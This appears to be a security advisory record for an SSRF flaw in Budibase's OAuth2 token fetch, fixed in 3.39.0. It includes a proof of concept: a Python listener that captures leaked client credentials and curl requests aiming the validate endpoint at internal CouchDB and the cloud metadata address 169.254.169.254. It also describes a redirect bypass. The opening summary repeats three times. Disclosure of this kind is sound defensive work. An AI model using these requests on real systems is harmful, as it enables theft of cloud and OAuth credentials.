Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.
Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.
Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.
### Summary
The OAuth2 token fetch function in `packages/server/src/sdk/workspace/oauth2/utils.ts` (line 59) uses raw `fetch(config.url)` with **no SSRF protection**. The safe wrapper `fetchWithBlacklist()` exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was **not applied** to the OAuth2 token endpoint.
A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.
### Details
**Vulnerable code — `packages/server/src/sdk/workspace/oauth2/utils.ts:59`:**
```typescript
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
// ...
const response = await fetch(config.url, fetchConfig) // NO blacklist check!
// ...
}
```
**Safe wrapper used everywhere else — `packages/backend-core/src/utils/outboundFetch.ts`:**
```typescript
export async function fetchWithBlacklist(url: string, opts?: RequestInit) {
await blacklist.isBlacklisted(url) // Checks against internal IPs
const response = await fetch(url, { ...opts, redirect: "manual" })
// Re-checks every redirect target
}
```
**Where `fetchWithBlacklist` IS used (consistency gap proof):**
- `automations/steps/discord.ts` — Discord webhook
- `automations/steps/slack.ts` — Slack webhook
- `automations/steps/make.ts` — Make.com integration
- `automations/steps/n8n.ts` — n8n integration
- `automations/steps/zapier.ts` — Zapier integration
- `automations/steps/outgoingWebhook.ts` — Custom webhooks
- Plugin download (GitHub, NPM)
- Object store tarball downloads
**Where it is NOT used:**
- `sdk/workspace/oauth2/utils.ts:59` — OAuth2 token fetch ← **THIS VULNERABILITY**
### PoC
```bash
# 1. Start SSRF listener
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
print(f'SSRF: {self.path} | Body: {body.decode()}')
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &
# 2. As builder, validate OAuth2 config pointing to internal service
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}'
# Result: Listener captures POST with Authorization: Basic header containing credentials
# The client_id and client_secret are leaked to the attacker-controlled URL
# 3. Access internal CouchDB
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}'
# Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable
# 4. Access AWS metadata (in cloud deployments)
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}'
```
### Additional SSRF Vector: REST Integration Redirect Bypass
The REST integration at `packages/server/src/integrations/rest.ts:754-778` calls `blacklist.isBlacklisted(url)` only once on the initial URL, then passes it to `undici.fetch()` with default `redirect: "follow"`. Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to `169.254.169.254`.
**Contrast with safe wrapper:** `fetchWithBlacklist()` uses `redirect: "manual"` and re-checks every redirect target.
### Impact
- **Internal service access** — CouchDB (default port 5984), Redis, internal APIs
- **Cloud metadata exfiltration** — AWS/GCP/Azure IAM credentials via 169.254.169.254
- **Credential leakage** — OAuth2 client_id and client_secret sent as Basic auth to attacker URL
- **Network reconnaissance** — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)
### Remediation
Replace `fetch(config.url, fetchConfig)` with `fetchWithBlacklist(config.url, fetchConfig)` in `packages/server/src/sdk/workspace/oauth2/utils.ts`:
```typescript
import { fetchWithBlacklist } from "@budibase/backend-core/utils"
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
// ...
const response = await fetchWithBlacklist(config.url, fetchConfig)
// ...
}
```
Also fix the REST integration redirect bypass in `packages/server/src/integrations/rest.ts` by using `fetchWithBlacklist()` instead of raw `undici.fetch()`.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: May 27, 2026, 5:00:25 PM
dateUpdated: May 28, 2026, 2:09:35 PM
1 related source bulletins · separate from aliases
WID-SEC-W-2026-1629: Budibase: Mehrere Schwachstellen
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-918
Original publisher date fields
published: 2026-05-27T18:16:26.933
lastModified: 2026-06-17T10:54:53.370
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.